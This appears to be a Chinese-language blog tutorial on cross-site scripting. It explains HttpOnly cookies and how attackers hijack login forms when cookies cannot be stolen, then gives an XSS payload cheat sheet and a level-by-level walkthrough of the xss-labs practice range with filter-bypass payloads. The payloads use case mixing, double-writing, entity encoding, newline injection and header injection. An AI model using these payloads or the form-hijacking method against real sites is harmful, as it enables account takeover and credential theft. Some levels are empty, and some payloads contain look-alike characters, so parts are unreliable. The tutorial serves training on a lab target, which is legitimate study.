WEB漏洞-XSS跨站之代码绕过与httpOnly绕过

什么是HttpOnly?

如果您在cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,这样能有效的防止XSS攻击,具体一点的介绍请google进行搜索。

介绍
PHP设置COOKIE的HttpOnly属性

作用:仅仅是防止通过js脚本读取到cookie信息
虽然设置了httponly之后拿不到cookie,但是还是存在xss跨站语句,阻止的仅仅是获取cookie
在这里插入图片描述

对方开启HttpOnly你在盗取cookie失败的情况下可以采用其他方案

登陆后台权限方式
1.以cookie形式
2.直接账号密码登录:
保存账号密码读取:通过读取他保存在本地的数据
(需要xss产生于登录地址,利用表单劫持)
在这里插入图片描述
type、id、name通过查看网站源代码中的登录框表单
在这里插入图片描述

没保存账号密码读取:通过表单(登录框)劫持数据
(产生在后台的XSS,例如存储型XSS留言等)
在这里插入图片描述
劫持原理:
抓取数据包另外发送一份到跨站平台
在这里插入图片描述
但是如果是https网站的话,数据是进行了ssl加密,获取了数据之后也是很难读取到账号密码的,鸡肋方法。

手工判断xss跨站漏洞

靶场:xss_labs

常用代码:

echo

<?php
echo "<script>alert(1)</script>";
?>

img标签

<img src=javascript:alert("xss")>
<IMG SRC=javascript:alert(String.formCharCode(88,83,83))>
<img scr="URL" style='Xss:expression(alert(xss));'>
<img src="x" onerror=alert(1)>
<img src="x" onerror=eval("alert('xss')")>
<img src=x onmouseover=alert('xss')>

css

  <img STYLE="background-image:url(javascript:alert('XSS'))">

href

标准格式
<a href="https://www.baidu.com">baidu</a>
XSS利用方式1
<a href="javascript:alert('xss')">aa</a>
 <a href=javascript:eval(alert('xss'))>aa</a>
 <a href="javascript:aaa" onmouseover="alert(/xss/)">aa</a>
 XSS利用方式2
<script>alert('xss')</script>
  <a href="" onclick=alert('xss')>aa</a>
XSS利用方式3
<a href="" onclick=eval(alert('xss'))>aa</a>
XSS利用方式4
<a href=kycg.asp?ttt=1000 onmouseover=prompt('xss') y=2016>aa</a>

form标签

XSS利用方式1
<form action=javascript:alert('xss') method="get">
<form action=javascript:alert('xss')>
XSS利用方式2
<form method=post action=aa.asp? onmouseover=prompt('xss')>
  <form method=post action=aa.asp? onmouseover=alert('xss')>
  <form action=1 onmouseover=alert('xss')>

input标签

标准格式
<input name="name" value="">
利用方式1
<input value="" onclick=alert('xss') type="text">
利用方式2
<input name="name" value="" onmouseover=prompt('xss') bad="">
利用方式4
<input name="name" value=""><script>alert('xss')</script>

iframe标签

XSS利用方式1
<iframe src=javascript:alert('xss');height=5width=1000 /><iframe>
XSS利用方式2
<iframe src="data:text/html,&lt;script&gt;alert('xss')&lt;/script&gt;"></iframe>
<!--原code-->
  <iframe src="data:text/html;base64,<script>alert('xss')</script>">
  <!--base64编码-->
  <iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
XSS利用方式3
<iframe src="aaa" οnmοuseοver=alert('xss') /><iframe>
XSS利用方式3
<iframe src="javascript&colon;prompt&lpar;`xss`&rpar;"></iframe>

svg标签

<svg onload=alert(1)>

level 1

直接在name赋值个弹窗即可
在这里插入图片描述

level 2(">闭合标签绕过)

尝试赋值

<script>alert()</script>

发现失败,查看源代码
发现存在一个htmlspecialchars转化函数
在这里插入图片描述
分析发现这个函数是将字符串实体化了
htmlspecialchars() 函数把预定义的字符转换为 HTML 实体, 把符号转换为实体化标签,xss经常过滤的情况。
预定义的字符是:
& (和号)成为 &
" (双引号)成为 "
’ (单引号)成为 ’
< (小于)成为 <
> (大于)成为 >
实例:

<?php
$str="this is a <b>test</b>";
echo $str;
echo "<br>";
echo htmlspecialchars($str);
?>

结果:
在这里插入图片描述
所以我们不能使用带<>的进行payload,都是回显的地方由两处,第二个地方是没有函数转义的
在这里插入图片描述
所以我们可以闭合前面的input语句,然后加入alert

"><script>alert(1)</script>

在这里插入图片描述

如何判断是双引号闭合还是单引号闭合

拿level2为例子
输入'
审查元素
在这里插入图片描述
输入"
审查元素
在这里插入图片描述
输入1
审查元素
在这里插入图片描述
三者对比,可知是双引号闭合

level 3(事件绕过+'符号闭合)

测试上述两种代码发现都不行,查看源代码发现两处的字符串都被htmlspecialchars函数转义了,所以我们不能使用<>来payload,那么我们可以利用鼠标点击事件进行payload
在这里插入图片描述
payload语句

 'οnclick='alert(1)

前面的单引号与value的左边的单引号闭合,后面的双引号与value的右边的单引号闭合
提交后如何点击输入框成功
在这里插入图片描述

level 4(事件绕过+"符号闭合)

测试第3关的代码发现不行,f12查看元素发现
在这里插入图片描述
value因为是双引号没有闭合掉,所以我们将单引号改为双引号即可通过

 "οnclick="alert(1)

level 5(herf绕过+符号闭合)

尝试使用

 "οnclick="alert(1)

发现on进行替换变成o_n,那么我们就不能使用鼠标事件了在这里插入图片描述
查看元素,发现这个函数可能是在input里面执行的,那么我们可以将<input闭合掉
在这里插入图片描述
使用如下代码发现script也被替换了

  "><script>alert(1)</script>

在这里插入图片描述
那么我们可以借助a herf属性,自己创建一个javascript代码

  "><a href="javascript:alert(1)">

然后点击输入框附近的链接即可成功。

level 6(大小写绕过)

使用前5次的payload,发现都不行,on,src,herf都被替换了
在这里插入图片描述
关键字都被过滤,使用大写替绕过

 "><a hRef="javaScript:alert(1)">

level 7(双写绕过)

发现大写也无法绕过了,查看源代码发现有小写函数
在这里插入图片描述
都是发现不是替换成o_n而是将on直接变成空字符,那么我们可以双写进行绕过

 "><a hhrefref="javasscriptcript:alert(1)">

level 8(编码绕过)

大小写,双写均不行,替换为unicode编码

在这里插入图片描述

level 9(特殊绕过)

查看代码,发现代码会检测是否存在http://在这里插入图片描述

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;/*http://*/

less 10(type绕过)

f12查看元素发现
在这里插入图片描述
但是type是hidden,被隐藏了,所以我们必须都试一次

t_sort="><οnclick="alert(1)" type='text'>

level 11(referer头绕过)

在这里插入图片描述

http referer 头,检测来源。
浏览器会检测此JS代码是否来自CSRF跨站请求脚本。检测来源,
在这里插入图片描述
如果管理员在登录状态的情况下,进入攻击方的带有登录时触发了添加管理员账号和密码的漏洞的网站,那么就会导致后台添加了新的账号和密码
如何防范:检测来源,也就是浏览器的同源策略,看看是否来自同一个域名,不是同一个域名的不接受。
token验证会解决这个问题
此关卡在referer头输入即可

t_sort="><οnclick="alert(1)" type='text'>

在这里插入图片描述

level 12(agent绕过)

在这里插入图片描述
payload:

t_sort="><οnclick="alert(1)" type='text'>

在这里插入图片描述

level 13(cookie绕过)

抓包发现有cookie
尝试在cookie后面加入

 t_sort="><οnclick="alert(1)" type='text'>

在这里插入图片描述

成功

level 14

level 15(文件包含)

审查元素
在这里插入图片描述

可以看到我们提交的参数src的值被插入到了标签的class属性值中,但是前面还有ng-include这样的字符。
ng-include是angular js中的东西,其作用相当于php的include函数。这里就是将1.gif这个文件给包含进来。
先尝试看看能不能直接闭合标签来触发弹窗
在这里插入图片描述
看出被实体化了
先看看源文件的代码
在这里插入图片描述
在这里插入图片描述
既然此处用了ng-include指令的话,先了解一下其具体的用法。

1、ng-include 指令用于包含外部的 HTML文件。
2、包含的内容将作为指定元素的子节点。
3、ng-include 属性的值可以是一个表达式,返回一个文件名。
4、默认情况下,包含的文件需要包含在同一个域名下。
特别值得注意的几点如下:
1.ng-include,如果单纯指定地址,必须要加引号
2.ng-include,加载外部html,script标签中的内容不执行
3.ng-include,加载外部html中含有style标签样式可以识别

既然这里可以包含html文件,那么也就可以包含之前有过xss漏洞的源文件
构造代码:

?src='level1.php?name=<img src=1 οnerrοr=alert()>'

level 16(%0a绕过)

查看代码发现script,/都进行过滤
在这里插入图片描述
采用换行符%0a进行绕过,触发xss。

<a%0atype="text"%0aonclick="alert(1)">

level 17(闭合标签绕过)

在这里插入图片描述
闭合<embed>即可

level17.php?arg01&arg02="> onmouseover=alert()

level 18(闭合标签绕过)

跟less 19一致,只是多了一个注入点通过闭合<embed>即可
level17.php?arg01&arg02="> οnmοuseοver=alert()

level 19

level 20

  • 1
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值